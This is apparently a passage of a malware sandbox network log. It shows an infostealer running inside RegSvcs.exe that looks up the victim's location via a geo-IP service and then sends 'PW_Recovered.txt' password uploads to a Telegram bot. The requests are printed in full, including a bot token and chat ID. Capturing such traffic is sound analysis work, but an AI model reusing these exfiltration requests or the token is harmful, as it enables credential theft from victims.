14d<Response><IP>8.46.123.33</IP><CountryCode>US</CountryCode><CountryName>United States</CountryName><RegionCode></RegionCode><RegionName></RegionName><City></City><ZipCode></ZipCode><TimeZone>America/Chicago</TimeZone><Latitude>37.75
2024-09-19 10:21:26 UTC	5	IN	Data Raw: 30 0d 0a 0d 0a Data Ascii: 0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
15	192.168.2.5	49737	188.114.97.3	443	5688	C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe

Timestamp	Bytes transferred	Direction	Data
2024-09-19 10:21:27 UTC	84	OUT	GET /xml/8.46.123.33 HTTP/1.1 Host: reallyfreegeoip.org Connection: Keep-Alive
2024-09-19 10:21:27 UTC	712	IN	HTTP/1.1 200 OK Date: Thu, 19 Sep 2024 10:21:27 GMT Content-Type: application/xml Transfer-Encoding: chunked Connection: close access-control-allow-origin: * vary: Accept-Encoding Cache-Control: max-age=86400 CF-Cache-Status: HIT Age: 15043 Last-Modified: Thu, 19 Sep 2024 06:10:44 GMT Report-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v4?s=Vu8%2BcfxRTCULZoqBHa%2FYTA95mrmYfBNtEY2g0N1jrA5Ghz133%2BlK37NDiTzQOpwimFFScgZndshxFWSwXLKk0t093cZywRrVN%2FJBE6THVdlylwe7CTHIOGT4MU%2Fyytdn%2FuQ7qwEv"}],"group":"cf-nel","max_age":604800} NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800} Server: cloudflare CF-RAY: 8c58d9574b464232-EWR alt-svc: h3=":443"; ma=86400
2024-09-19 10:21:27 UTC	340	IN	Data Raw: 31 34 64 0d 0a 3c 52 65 73 70 6f 6e 73 65 3e 0a 09 3c 49 50 3e 38 2e 34 36 2e 31 32 33 2e 33 33 3c 2f 49 50 3e 0a 09 3c 43 6f 75 6e 74 72 79 43 6f 64 65 3e 55 53 3c 2f 43 6f 75 6e 74 72 79 43 6f 64 65 3e 0a 09 3c 43 6f 75 6e 74 72 79 4e 61 6d 65 3e 55 6e 69 74 65 64 20 53 74 61 74 65 73 3c 2f 43 6f 75 6e 74 72 79 4e 61 6d 65 3e 0a 09 3c 52 65 67 69 6f 6e 43 6f 64 65 3e 3c 2f 52 65 67 69 6f 6e 43 6f 64 65 3e 0a 09 3c 52 65 67 69 6f 6e 4e 61 6d 65 3e 3c 2f 52 65 67 69 6f 6e 4e 61 6d 65 3e 0a 09 3c 43 69 74 79 3e 3c 2f 43 69 74 79 3e 0a 09 3c 5a 69 70 43 6f 64 65 3e 3c 2f 5a 69 70 43 6f 64 65 3e 0a 09 3c 54 69 6d 65 5a 6f 6e 65 3e 41 6d 65 72 69 63 61 2f 43 68 69 63 61 67 6f 3c 2f 54 69 6d 65 5a 6f 6e 65 3e 0a 09 3c 4c 61 74 69 74 75 64 65 3e 33 37 2e 37 35 Data Ascii: 14d<Response><IP>8.46.123.33</IP><CountryCode>US</CountryCode><CountryName>United States</CountryName><RegionCode></RegionCode><RegionName></RegionName><City></City><ZipCode></ZipCode><TimeZone>America/Chicago</TimeZone><Latitude>37.75
2024-09-19 10:21:27 UTC	5	IN	Data Raw: 30 0d 0a 0d 0a Data Ascii: 0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
16	192.168.2.5	49739	188.114.97.3	443	5688	C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe

Timestamp	Bytes transferred	Direction	Data
2024-09-19 10:21:28 UTC	60	OUT	GET /xml/8.46.123.33 HTTP/1.1 Host: reallyfreegeoip.org
2024-09-19 10:21:28 UTC	710	IN	HTTP/1.1 200 OK Date: Thu, 19 Sep 2024 10:21:28 GMT Content-Type: application/xml Transfer-Encoding: chunked Connection: close access-control-allow-origin: * vary: Accept-Encoding Cache-Control: max-age=86400 CF-Cache-Status: HIT Age: 15044 Last-Modified: Thu, 19 Sep 2024 06:10:44 GMT Report-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v4?s=JI5jxRkTOaecQQ%2BY3QNWI6qufhM9t6hNSuZkV9huW2e6n6l39GJPNLA63PtbRPfZ%2BSiK7hubdggYdonEydcuY%2BKivd8Zz%2BxuvUgDZ45Ss8bPecsoWSY3dnri4hetmlpzZF36F%2BLo"}],"group":"cf-nel","max_age":604800} NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800} Server: cloudflare CF-RAY: 8c58d95f796f43dd-EWR alt-svc: h3=":443"; ma=86400
2024-09-19 10:21:28 UTC	340	IN	Data Raw: 31 34 64 0d 0a 3c 52 65 73 70 6f 6e 73 65 3e 0a 09 3c 49 50 3e 38 2e 34 36 2e 31 32 33 2e 33 33 3c 2f 49 50 3e 0a 09 3c 43 6f 75 6e 74 72 79 43 6f 64 65 3e 55 53 3c 2f 43 6f 75 6e 74 72 79 43 6f 64 65 3e 0a 09 3c 43 6f 75 6e 74 72 79 4e 61 6d 65 3e 55 6e 69 74 65 64 20 53 74 61 74 65 73 3c 2f 43 6f 75 6e 74 72 79 4e 61 6d 65 3e 0a 09 3c 52 65 67 69 6f 6e 43 6f 64 65 3e 3c 2f 52 65 67 69 6f 6e 43 6f 64 65 3e 0a 09 3c 52 65 67 69 6f 6e 4e 61 6d 65 3e 3c 2f 52 65 67 69 6f 6e 4e 61 6d 65 3e 0a 09 3c 43 69 74 79 3e 3c 2f 43 69 74 79 3e 0a 09 3c 5a 69 70 43 6f 64 65 3e 3c 2f 5a 69 70 43 6f 64 65 3e 0a 09 3c 54 69 6d 65 5a 6f 6e 65 3e 41 6d 65 72 69 63 61 2f 43 68 69 63 61 67 6f 3c 2f 54 69 6d 65 5a 6f 6e 65 3e 0a 09 3c 4c 61 74 69 74 75 64 65 3e 33 37 2e 37 35 Data Ascii: 14d<Response><IP>8.46.123.33</IP><CountryCode>US</CountryCode><CountryName>United States</CountryName><RegionCode></RegionCode><RegionName></RegionName><City></City><ZipCode></ZipCode><TimeZone>America/Chicago</TimeZone><Latitude>37.75
2024-09-19 10:21:28 UTC	5	IN	Data Raw: 30 0d 0a 0d 0a Data Ascii: 0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
17	192.168.2.5	49741	188.114.97.3	443	5688	C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe

Timestamp	Bytes transferred	Direction	Data
2024-09-19 10:21:30 UTC	60	OUT	GET /xml/8.46.123.33 HTTP/1.1 Host: reallyfreegeoip.org
2024-09-19 10:21:30 UTC	706	IN	HTTP/1.1 200 OK Date: Thu, 19 Sep 2024 10:21:30 GMT Content-Type: application/xml Transfer-Encoding: chunked Connection: close access-control-allow-origin: * vary: Accept-Encoding Cache-Control: max-age=86400 CF-Cache-Status: HIT Age: 15046 Last-Modified: Thu, 19 Sep 2024 06:10:44 GMT Report-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v4?s=tcUDKsT2tUmgcvVWWQXHqzM6sfaSFDvRiq6L0dGEjWgqCN2hMxb4kiOPxREnDFvqooOC%2BdUxB1ku%2B1BKcex%2BZdJvrw7i5f5TrcwGUeB0pJ7cR2ECyoqSKaWKj30p5qjtRN2Zut0P"}],"group":"cf-nel","max_age":604800} NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800} Server: cloudflare CF-RAY: 8c58d967aa3b18a1-EWR alt-svc: h3=":443"; ma=86400
2024-09-19 10:21:30 UTC	340	IN	Data Raw: 31 34 64 0d 0a 3c 52 65 73 70 6f 6e 73 65 3e 0a 09 3c 49 50 3e 38 2e 34 36 2e 31 32 33 2e 33 33 3c 2f 49 50 3e 0a 09 3c 43 6f 75 6e 74 72 79 43 6f 64 65 3e 55 53 3c 2f 43 6f 75 6e 74 72 79 43 6f 64 65 3e 0a 09 3c 43 6f 75 6e 74 72 79 4e 61 6d 65 3e 55 6e 69 74 65 64 20 53 74 61 74 65 73 3c 2f 43 6f 75 6e 74 72 79 4e 61 6d 65 3e 0a 09 3c 52 65 67 69 6f 6e 43 6f 64 65 3e 3c 2f 52 65 67 69 6f 6e 43 6f 64 65 3e 0a 09 3c 52 65 67 69 6f 6e 4e 61 6d 65 3e 3c 2f 52 65 67 69 6f 6e 4e 61 6d 65 3e 0a 09 3c 43 69 74 79 3e 3c 2f 43 69 74 79 3e 0a 09 3c 5a 69 70 43 6f 64 65 3e 3c 2f 5a 69 70 43 6f 64 65 3e 0a 09 3c 54 69 6d 65 5a 6f 6e 65 3e 41 6d 65 72 69 63 61 2f 43 68 69 63 61 67 6f 3c 2f 54 69 6d 65 5a 6f 6e 65 3e 0a 09 3c 4c 61 74 69 74 75 64 65 3e 33 37 2e 37 35 Data Ascii: 14d<Response><IP>8.46.123.33</IP><CountryCode>US</CountryCode><CountryName>United States</CountryName><RegionCode></RegionCode><RegionName></RegionName><City></City><ZipCode></ZipCode><TimeZone>America/Chicago</TimeZone><Latitude>37.75
2024-09-19 10:21:30 UTC	5	IN	Data Raw: 30 0d 0a 0d 0a Data Ascii: 0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
18	192.168.2.5	49743	188.114.97.3	443	5688	C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe

Timestamp	Bytes transferred	Direction	Data
2024-09-19 10:21:31 UTC	84	OUT	GET /xml/8.46.123.33 HTTP/1.1 Host: reallyfreegeoip.org Connection: Keep-Alive
2024-09-19 10:21:31 UTC	702	IN	HTTP/1.1 200 OK Date: Thu, 19 Sep 2024 10:21:31 GMT Content-Type: application/xml Transfer-Encoding: chunked Connection: close access-control-allow-origin: * vary: Accept-Encoding Cache-Control: max-age=86400 CF-Cache-Status: HIT Age: 15047 Last-Modified: Thu, 19 Sep 2024 06:10:44 GMT Report-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v4?s=wpkfckMbCw54cn3ZbChwyAdRkx4wcPMn5xUnsMwor0UQxkKG%2BTYfp0yQltQKUFgCnDDm9lCI3wZhAalCjJVdfwh2HazJecNVjW9Wp1xzmqRnA8pJBw0Zkok6H9v568ADxzjYGgCC"}],"group":"cf-nel","max_age":604800} NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800} Server: cloudflare CF-RAY: 8c58d96fce4c0fa7-EWR alt-svc: h3=":443"; ma=86400
2024-09-19 10:21:31 UTC	340	IN	Data Raw: 31 34 64 0d 0a 3c 52 65 73 70 6f 6e 73 65 3e 0a 09 3c 49 50 3e 38 2e 34 36 2e 31 32 33 2e 33 33 3c 2f 49 50 3e 0a 09 3c 43 6f 75 6e 74 72 79 43 6f 64 65 3e 55 53 3c 2f 43 6f 75 6e 74 72 79 43 6f 64 65 3e 0a 09 3c 43 6f 75 6e 74 72 79 4e 61 6d 65 3e 55 6e 69 74 65 64 20 53 74 61 74 65 73 3c 2f 43 6f 75 6e 74 72 79 4e 61 6d 65 3e 0a 09 3c 52 65 67 69 6f 6e 43 6f 64 65 3e 3c 2f 52 65 67 69 6f 6e 43 6f 64 65 3e 0a 09 3c 52 65 67 69 6f 6e 4e 61 6d 65 3e 3c 2f 52 65 67 69 6f 6e 4e 61 6d 65 3e 0a 09 3c 43 69 74 79 3e 3c 2f 43 69 74 79 3e 0a 09 3c 5a 69 70 43 6f 64 65 3e 3c 2f 5a 69 70 43 6f 64 65 3e 0a 09 3c 54 69 6d 65 5a 6f 6e 65 3e 41 6d 65 72 69 63 61 2f 43 68 69 63 61 67 6f 3c 2f 54 69 6d 65 5a 6f 6e 65 3e 0a 09 3c 4c 61 74 69 74 75 64 65 3e 33 37 2e 37 35 Data Ascii: 14d<Response><IP>8.46.123.33</IP><CountryCode>US</CountryCode><CountryName>United States</CountryName><RegionCode></RegionCode><RegionName></RegionName><City></City><ZipCode></ZipCode><TimeZone>America/Chicago</TimeZone><Latitude>37.75
2024-09-19 10:21:31 UTC	5	IN	Data Raw: 30 0d 0a 0d 0a Data Ascii: 0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
19	192.168.2.5	49744	149.154.167.220	443	5688	C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe

Timestamp	Bytes transferred	Direction	Data
2024-09-19 10:21:32 UTC	349	OUT	GET /bot/sendMessage?chat_id=&text=%20%0D%0A%0D%0APC%20Name:965543%0D%0ADate%20and%20Time:%2019/09/2024%20/%2021:04:09%0D%0ACountry%20Name:%20United%20States%0D%0A%5B%20965543%20Clicked%20on%20the%20File%20If%20you%20see%20nothing%20this's%20mean%20the%20system%20storage's%20empty.%20%5D HTTP/1.1 Host: api.telegram.org Connection: Keep-Alive
2024-09-19 10:21:32 UTC	344	IN	HTTP/1.1 404 Not Found Server: nginx/1.18.0 Date: Thu, 19 Sep 2024 10:21:32 GMT Content-Type: application/json Content-Length: 55 Connection: close Strict-Transport-Security: max-age=31536000; includeSubDomains; preload Access-Control-Allow-Origin: * Access-Control-Expose-Headers: Content-Length,Content-Type,Date,Server,Connection
2024-09-19 10:21:32 UTC	55	IN	Data Raw: 7b 22 6f 6b 22 3a 66 61 6c 73 65 2c 22 65 72 72 6f 72 5f 63 6f 64 65 22 3a 34 30 34 2c 22 64 65 73 63 72 69 70 74 69 6f 6e 22 3a 22 4e 6f 74 20 46 6f 75 6e 64 22 7d Data Ascii: {"ok":false,"error_code":404,"description":"Not Found"}

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
20	192.168.2.5	61513	149.154.167.220	443	1488	C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe

Timestamp	Bytes transferred	Direction	Data
2024-09-19 10:21:39 UTC	369	OUT	POST /bot7247249543:AAEjQNxXUVZRm1ev9K9Jf_pcuz9vHQRkYyU/sendDocument?chat_id=403948698&caption=%20Pc%20Name:%20user%20%7C%20/%20VIP%20Recovery%20%5C%0D%0A%0D%0APW%20%7C%20user%20%7C%20VIP%20Recovery HTTP/1.1 Content-Type: multipart/form-data; boundary=------------------------8dcd9999c7f3372 Host: api.telegram.org Content-Length: 560 Connection: Keep-Alive
2024-09-19 10:21:39 UTC	560	OUT	Data Raw: 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 38 64 63 64 39 39 39 39 63 37 66 33 33 37 32 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 64 6f 63 75 6d 65 6e 74 22 3b 20 66 69 6c 65 6e 61 6d 65 3d 22 50 57 5f 52 65 63 6f 76 65 72 65 64 2e 74 78 74 22 0d 0a 43 6f 6e 74 65 6e 74 2d 54 79 70 65 3a 20 61 70 70 6c 69 63 61 74 69 6f 6e 2f 78 2d 6d 73 2d 64 6f 73 2d 65 78 65 63 75 74 61 62 6c 65 0d 0a 0d 0a 50 57 20 7c 20 61 6c 66 6f 6e 73 20 7c 20 56 49 50 20 52 65 63 6f 76 65 72 79 0d 0a 20 0d 0a 0d 0a 50 43 20 4e 61 6d 65 3a 39 36 35 35 34 33 0d 0a 44 61 74 65 20 61 6e 64 20 54 69 6d 65 3a 20 31 39 2f 30 39 2f 32 30 32 34 20 2f 20 30 36 3a 32 31 3a 30 34 Data Ascii: --------------------------8dcd9999c7f3372Content-Disposition: form-data; name="document"; filename="PW_Recovered.txt"Content-Type: application/x-ms-dos-executablePW \| user \| VIP Recovery PC Name:965543Date and Time: 19/09/2024 / 06:21:04
2024-09-19 10:21:39 UTC	388	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 Date: Thu, 19 Sep 2024 10:21:39 GMT Content-Type: application/json Content-Length: 561 Connection: close Strict-Transport-Security: max-age=31536000; includeSubDomains; preload Access-Control-Allow-Origin: * Access-Control-Allow-Methods: GET, POST, OPTIONS Access-Control-Expose-Headers: Content-Length,Content-Type,Date,Server,Connection
2024-09-19 10:21:39 UTC	561	IN	Data Raw: 7b 22 6f 6b 22 3a 74 72 75 65 2c 22 72 65 73 75 6c 74 22 3a 7b 22 6d 65 73 73 61 67 65 5f 69 64 22 3a 31 32 37 34 32 2c 22 66 72 6f 6d 22 3a 7b 22 69 64 22 3a 37 32 34 37 32 34 39 35 34 33 2c 22 69 73 5f 62 6f 74 22 3a 74 72 75 65 2c 22 66 69 72 73 74 5f 6e 61 6d 65 22 3a 22 50 79 74 68 6f 6e 73 6e 61 6b 65 62 6f 74 22 2c 22 75 73 65 72 6e 61 6d 65 22 3a 22 50 79 74 68 6f 6e 73 68 69 6e 65 6b 75 5f 62 6f 74 22 7d 2c 22 63 68 61 74 22 3a 7b 22 69 64 22 3a 34 30 33 39 34 38 36 39 38 2c 22 66 69 72 73 74 5f 6e 61 6d 65 22 3a 22 4c 65 74 5c 75 32 30 31 39 73 20 67 65 74 20 69 74 22 2c 22 6c 61 73 74 5f 6e 61 6d 65 22 3a 22 47 65 74 20 69 74 22 2c 22 75 73 65 72 6e 61 6d 65 22 3a 22 77 69 6e 6e 69 6e 67 33 31 31 36 22 2c 22 74 79 70 65 22 3a 22 70 72 69 76 61 Data Ascii: {"ok":true,"result":{"message_id":12742,"from":{"id":7247249543,"is_bot":true,"first_name":"Pythonsnakebot","username":"Pythonshineku_bot"},"chat":{"id":403948698,"first_name":"Let\u2019s get it","last_name":"Get it","username":"winning3116","type":"priva

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
21	192.168.2.5	61517	149.154.167.220	443	1488	C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe

Timestamp	Bytes transferred	Direction	Data
2024-09-19 10:21:43 UTC	345	OUT	POST /bot7247249543:AAEjQNxXUVZRm1ev9K9Jf_pcuz9vHQRkYyU/sendDocument?chat_id=403948698&caption=%20Pc%20Name:%20user%20%7C%20/%20VIP%20Recovery%20%5C%0D%0A%0D%0APW%20%7C%20user%20%7C%20VIP%20Recovery HTTP/1.1 Content-Type: multipart/form-data; boundary=------------------------8dcd9aa313f3835 Host: api.telegram.org Content-Length: 560
2024-09-19 10:21:43 UTC	560	OUT	Data Raw: 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 38 64 63 64 39 61 61 33 31 33 66 33 38 33 35 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 64 6f 63 75 6d 65 6e 74 22 3b 20 66 69 6c 65 6e 61 6d 65 3d 22 50 57 5f 52 65 63 6f 76 65 72 65 64 2e 74 78 74 22 0d 0a 43 6f 6e 74 65 6e 74 2d 54 79 70 65 3a 20 61 70 70 6c 69 63 61 74 69 6f 6e 2f 78 2d 6d 73 2d 64 6f 73 2d 65 78 65 63 75 74 61 62 6c 65 0d 0a 0d 0a 50 57 20 7c 20 61 6c 66 6f 6e 73 20 7c 20 56 49 50 20 52 65 63 6f 76 65 72 79 0d 0a 20 0d 0a 0d 0a 50 43 20 4e 61 6d 65 3a 39 36 35 35 34 33 0d 0a 44 61 74 65 20 61 6e 64 20 54 69 6d 65 3a 20 31 39 2f 30 39 2f 32 30 32 34 20 2f 20 30 36 3a 32 31 3a 30 34 Data Ascii: --------------------------8dcd9aa313f3835Content-Disposition: form-data; name="document"; filename="PW_Recovered.txt"Content-Type: application/x-ms-dos-executablePW \| user \| VIP Recovery PC Name:965543Date and Time: 19/09/2024 / 06:21:04
2024-09-19 10:21:43 UTC	388	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 Date: Thu, 19 Sep 2024 10:21:43 GMT Content-Type: application/json Content-Length: 561 Connection: close Strict-Transport-Security: max-age=31536000; includeSubDomains; preload Access-Control-Allow-Origin: * Access-Control-Allow-Methods: GET, POST, OPTIONS Access-Control-Expose-Headers: Content-Length,Content-Type,Date,Server,Connection
2024-09-19 10:21:43 UTC	561	IN	Data Raw: 7b 22 6f 6b 22 3a 74 72 75 65 2c 22 72 65 73 75 6c 74 22 3a 7b 22 6d 65 73 73 61 67 65 5f 69 64 22 3a 31 32 37 34 33 2c 22 66 72 6f 6d 22 3a 7b 22 69 64 22 3a 37 32 34 37 32 34 39 35 34 33 2c 22 69 73 5f 62 6f 74 22 3a 74 72 75 65 2c 22 66 69 72 73 74 5f 6e 61 6d 65 22 3a 22 50 79 74 68 6f 6e 73 6e 61 6b 65 62 6f 74 22 2c 22 75 73 65 72 6e 61 6d 65 22 3a 22 50 79 74 68 6f 6e 73 68 69 6e 65 6b 75 5f 62 6f 74 22 7d 2c 22 63 68 61 74 22 3a 7b 22 69 64 22 3a 34 30 33 39 34 38 36 39 38 2c 22 66 69 72 73 74 5f 6e 61 6d 65 22 3a 22 4c 65 74 5c 75 32 30 31 39 73 20 67 65 74 20 69 74 22 2c 22 6c 61 73 74 5f 6e 61 6d 65 22 3a 22 47 65 74 20 69 74 22 2c 22 75 73 65 72 6e 61 6d 65 22 3a 22 77 69 6e 6e 69 6e 67 33 31 31 36 22 2c 22 74 79 70 65 22 3a 22 70 72 69 76 61 Data Ascii: {"ok":true,"result":{"message_id":12743,"from":{"id":7247249543,"is_bot":true,"first_name":"Pythonsnakebot","username":"Pythonshineku_bot"},"chat":{"id":403948698,"first_name":"Let\u2019s get it","last_name":"Get it","username":"winning3116","type":"priva

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
22	192.168.2.5	61520	149.154.167.220	443	1488	C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe

Timestamp	Bytes transferred	Direction	Data
2024-09-19 10:21:47 UTC	345	OUT	POST /bot7247249543:AAEjQNxXUVZRm1ev9K9Jf_pcuz9vHQRkYyU/sendDocument?chat_id=403948698&caption=%20Pc%20Name:%20user%20%7C%20/%20VIP%20Recovery%20%5C%0D%0A%0D%0APW%20%7C%20user%20%7C%20VIP%20Recovery HTTP/1.1 Content-Type: multipart/form-data; boundary=------------------------8dcd9bb28caf6f0 Host: api.telegram.org Content-Length: 560
2024-09-19 10:21:47 UTC	560	OUT	Data Raw: 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 38 64 63 64 39 62 62 32 38 63 61 66 36 66 30 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 64 6f 63 75 6d 65 6e 74 22 3b 20 66 69 6c 65 6e 61 6d 65 3d 22 50 57 5f 52 65 63 6f 76 65 72 65 64 2e 74 78 74 22 0d 0a 43 6f 6e 74 65 6e 74 2d 54 79 70 65 3a 20 61 70 70 6c 69 63 61 74 69 6f 6e 2f 78 2d 6d 73 2d 64 6f 73 2d 65 78 65 63 75 74 61 62 6c 65 0d 0a 0d 0a 50 57 20 7c 20 61 6c 66 6f 6e 73 20 7c 20 56 49 50 20 52 65 63 6f 76 65 72 79 0d 0a 20 0d 0a 0d 0a 50 43 20 4e 61 6d 65 3a 39 36 35 35 34 33 0d 0a 44 61 74 65 20 61 6e 64 20 54 69 6d 65 3a 20 31 39 2f 30 39 2f 32 30 32 34 20 2f 20 30 36 3a 32 31 3a 30 34 Data Ascii: --------------------------8dcd9bb28caf6f0Content-Disposition: form-data; name="document"; filename="PW_Recovered.txt"Content-Type: application/x-ms-dos-executablePW \| user \| VIP Recovery PC Name:965543Date and Time: 19/09/2024 / 06:21:04
2024-09-19 10:21:48 UTC	388	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 Date: Thu, 19 Sep 2024 10:21:47 GMT Content-Type: application/json Content-Length: 561 Connection: close Strict-Transport-Security: max-age=31536000; includeSubDomains; preload Access-Control-Allow-Origin: * Access-Control-Allow-Methods: GET, POST, OPTIONS Access-Control-Expose-Headers: Content-Length,Content-Type,Date,Server,Connection
2024-09-19 10:21:48 UTC	561	IN	Data Raw: 7b 22 6f 6b 22 3a 74 72 75 65 2c 22 72 65 73 75 6c 74 22 3a 7b 22 6d 65 73 73 61 67 65 5f 69 64 22 3a 31 32 37 34 34 2c 22 66 72 6f 6d 22 3a 7b 22 69 64 22 3a 37 32 34 37 32 34 39 35 34 33 2c 22 69 73 5f 62 6f 74 22 3a 74 72 75 65 2c 22 66 69 72 73 74 5f 6e 61 6d 65 22 3a 22 50 79 74 68 6f 6e 73 6e 61 6b 65 62 6f 74 22 2c 22 75 73 65 72 6e 61 6d 65 22 3a 22 50 79 74 68 6f 6e 73 68 69 6e 65 6b 75 5f 62 6f 74 22 7d 2c 22 63 68 61 74 22 3a 7b 22 69 64 22 3a 34 30 33 39 34 38 36 39 38 2c 22 66 69 72 73 74 5f 6e 61 6d 65 22 3a 22 4c 65 74 5c 75 32 30 31 39 73 20 67 65 74 20 69 74 22 2c 22 6c 61 73 74 5f 6e 61 6d 65 22 3a 22 47 65 74 20 69 74 22 2c 22 75 73 65 72 6e 61 6d 65 22 3a 22 77 69 6e 6e 69 6e 67 33 31 31 36 22 2c 22 74 79 70 65 22 3a 22 70 72 69 76 61 Data Ascii: {"ok":true,"result":{"message_id":12744,"from":{"id":7247249543,"is_bot":true,"first_name":"Pythonsnakebot","username":"Pythonshineku_bot"},"chat":{"id":403948698,"first_name":"Let\u2019s get it","last_name":"Get it","username":"winning3116","type":"priva

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
23	192.168.2.5	61522	149.154.167.220	443	5688	C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe

Timestamp	Bytes transferred	Direction	Data
2024-09-19 10:21:54 UTC	369	OUT	POST /bot7247249543:AAEjQNxXUVZRm1ev9K9Jf_pcuz9vHQRkYyU/sendDocument?chat_id=403948698&caption=%20Pc%20Name:%20user%20%7C%20/%20VIP%20Recovery%20%5C%0D%0A%0D%0APW%20%7C%20user%20%7C%20VIP%20Recovery HTTP/1.1 Content-Type: multipart/form-data; boundary=------------------------8dcd9c6eb4b45c9 Host: api.telegram.org Content-Length: 560 Connection: Keep-Alive
2024-09-19 10:21:54 UTC	560	OUT	Data Raw: 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 38 64 63 64 39 63 36 65 62 34 62 34 35 63 39 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 64 6f 63 75 6d 65 6e 74 22 3b 20 66 69 6c 65 6e 61 6d 65 3d 22 50 57 5f 52 65 63 6f 76 65 72 65 64 2e 74 78 74 22 0d 0a 43 6f 6e 74 65 6e 74 2d 54 79 70 65 3a 20 61 70 70 6c 69 63 61 74 69 6f 6e 2f 78 2d 6d 73 2d 64 6f 73 2d 65 78 65 63 75 74 61 62 6c 65 0d 0a 0d 0a 50 57 20 7c 20 61 6c 66 6f 6e 73 20 7c 20 56 49 50 20 52 65 63 6f 76 65 72 79 0d 0a 20 0d 0a 0d 0a 50 43 20 4e 61 6d 65 3a 39 36 35 35 34 33 0d 0a 44 61 74 65 20 61 6e 64 20 54 69 6d 65 3a 20 31 39 2f 30 39 2f 32 30 32 34 20 2f 20 30 36 3a 32 31 3a 31 37 Data Ascii: --------------------------8dcd9c6eb4b45c9Content-Disposition: form-data; name="document"; filename="PW_Recovered.txt"Content-Type: application/x-ms-dos-executablePW \| user \| VIP Recovery PC Name:965543Date and Time: 19/09/2024 / 06:21:17
2024-09-19 10:21:54 UTC	388	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 Date: Thu, 19 Sep 2024 10:21:54 GMT Content-Type: application/json Content-Length: 561 Connection: close Strict-Transport-Security: max-age=31536000; includeSubDomains; preload Access-Control-Allow-Origin: * Access-Control-Allow-Methods: GET, POST, OPTIONS Access-Control-Expose-Headers: Content-Length,Content-Type,Date,Server,Connection
2024-09-19 10:21:54 UTC	561	IN	Data Raw: 7b 22 6f 6b 22 3a 74 72 75 65 2c 22 72 65 73 75 6c 74 22 3a 7b 22 6d 65 73 73 61 67 65 5f 69 64 22 3a 31 32 37 34 35 2c 22 66 72 6f 6d 22 3a 7b 22 69 64 22 3a 37 32 34 37 32 34 39 35 34 33 2c 22 69 73 5f 62 6f 74 22 3a 74 72 75 65 2c 22 66 69 72 73 74 5f 6e 61 6d 65 22 3a 22 50 79 74 68 6f 6e 73 6e 61 6b 65 62 6f 74 22 2c 22 75 73 65 72 6e 61 6d 65 22 3a 22 50 79 74 68 6f 6e 73 68 69 6e 65 6b 75 5f 62 6f 74 22 7d 2c 22 63 68 61 74 22 3a 7b 22 69 64 22 3a 34 30 33 39 34 38 36 39 38 2c 22 66 69 72 73 74 5f 6e 61 6d 65 22 3a 22 4c 65 74 5c 75 32 30 31 39 73 20 67 65 74 20 69 74 22 2c 22 6c 61 73 74 5f 6e 61 6d 65 22 3a 22 47 65 74 20 69 74 22 2c 22 75 73 65 72 6e 61 6d 65 22 3a 22 77 69 6e 6e 69 6e 67 33 31 31 36 22 2c 22 74 79 70 65 22 3a 22 70 72 69 76 61 Data Ascii: {"ok":true,"result":{"message_id":12745,"from":{"id":7247249543,"is_bot":true,"first_name":"Pythonsnakebot","username":"Pythonshineku_bot"},"chat":{"id":403948698,"first_name":"Let\u2019s get it","last_name":"Get it","username":"winning3116","type":"priva

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
24	192.168.2.5	61523	149.154.167.220	443	1488	C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe

